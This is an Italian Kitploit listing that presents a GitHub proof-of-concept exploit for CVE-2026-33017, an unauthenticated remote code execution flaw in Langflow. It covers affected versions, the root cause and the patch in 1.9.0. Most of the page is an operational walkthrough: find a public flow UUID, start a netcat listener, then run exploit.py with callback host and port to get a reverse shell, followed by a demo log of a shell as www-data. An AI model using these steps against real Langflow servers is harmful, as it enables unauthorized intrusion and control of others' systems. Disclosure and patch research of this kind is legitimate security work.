Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33017 — Exploit PoC per CVE-2026-33017: esecuzione remota di codice senza autenticazione in Langflow tramite iniezione di un Python Custom Component malevolo, con listener di reverse shell integrato. | Kitploit
Strumenti/GitHubGitHub/dynamo2k1/cve-2026-33017
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubdynamo2k1/cve-2026-33017

CVE-2026-33017

Exploit PoC per CVE-2026-33017: esecuzione remota di codice senza autenticazione in Langflow tramite iniezione di un Python Custom Component malevolo, con listener di reverse shell integrato.

Vedi Repository
29 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 — Langflow Esecuzione di codice in remoto non autenticata

Autore: dynamo2k1
Gravità: Critica
CVSSv3: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Panoramica

CVE-2026-33017 è una vulnerabilità critica di esecuzione di codice in remoto non autenticata in Langflow, una piattaforma open-source per creare visivamente applicazioni LLM e workflow di IA.

L'endpoint vulnerabile build_public_tmp accetta un campo data fornito dall'attaccante nel corpo della richiesta senza autenticazione. Ciò consente a un attaccante di iniettare una definizione di flusso completamente personalizzata contenente un Componente Personalizzato Python malevolo, il cui codice viene eseguito sul server durante il processo di build.

Non sono richieste credenziali. È sufficiente un UUID valido di un flusso pubblico.


Versioni interessate

StatoVersione
VulnerabileLangflow < 1.9.0
CorrettaLangflow 1.9.0+

Endpoint vulnerabile

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Questo endpoint è progettato per eseguire la build di flussi pubblici (condivisi) senza autenticazione. Nelle versioni vulnerabili, accetta anche un campo data controllato dall'attaccante nel corpo della richiesta, che viene passato direttamente alla logica di build lato server — incluso qualsiasi codice Python incorporato nei Componenti Personalizzati.


Utilizzo

Prerequisiti

root@kitploit:~
pip install requests urllib3

Passo 1 — Trovare un UUID di flusso pubblico

Sfoglia l'istanza Langflow di destinazione e cerca un flusso condiviso/pubblico. L'UUID appare nell'URL:

root@kitploit:~
https://target.com/playground/7d84d636-af65-42e4-ac38-26e867052c25
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                        this is the flow-id

Passo 2 — Predisporre un listener

root@kitploit:~
nc -lvnp 9001

Passo 3 — Eseguire l'exploit

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001

Oppure usa il listener interattivo integrato (non serve un nc separato):

root@kitploit:~
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost <YOUR_IP> \
  --lport 9001 \
  --listen

Opzioni


Demo

root@kitploit:~
[*] Target: https://target.com/api/v1/build_public_tmp/<flow-id>/flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Come funziona

  1. L'attaccante identifica un UUID di flusso pubblico Langflow (visibile nell'URL del playground).
  2. Una richiesta POST manipolata inietta un Componente Personalizzato malevolo contenente codice Python a livello di modulo.
  3. Durante la fase di build, Langflow compila il codice del componente — eseguendo il payload dell'attaccante prima che qualsiasi metodo venga chiamato.
  4. Il codice avvia una reverse shell verso il listener dell'attaccante.

Causa principale: build_public_tmp considerava attendibile il campo data proveniente dal corpo della richiesta, invece di usare esclusivamente la definizione di flusso salvata sul server.

Patch: In Langflow 1.9.0, il parametro data è stato rimosso da build_public_tmp. Le definizioni di flusso esterne non possono più essere iniettate tramite questo endpoint.

Commit della patch: 73b6612


Riferimenti

  • GitHub Security Advisory — GHSA-vwmf-pq79-vjvx
  • NVD — CVE-2026-33017
  • Commit della patch

Disclaimer

Questo PoC è fornito esclusivamente a scopo educativo e di ricerca di sicurezza autorizzata. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta al test.

Scarica lo strumento
FlagDescrizione
--urlURL di base di Langflow di destinazione
--flow-idUUID del flusso pubblico
--lhostIl tuo IP per il callback della reverse shell
--lportLa porta del tuo listener
--listenUsa l'handler di shell integrato invece del nc esterno
--timeoutTimeout della richiesta HTTP in secondi (default: 30)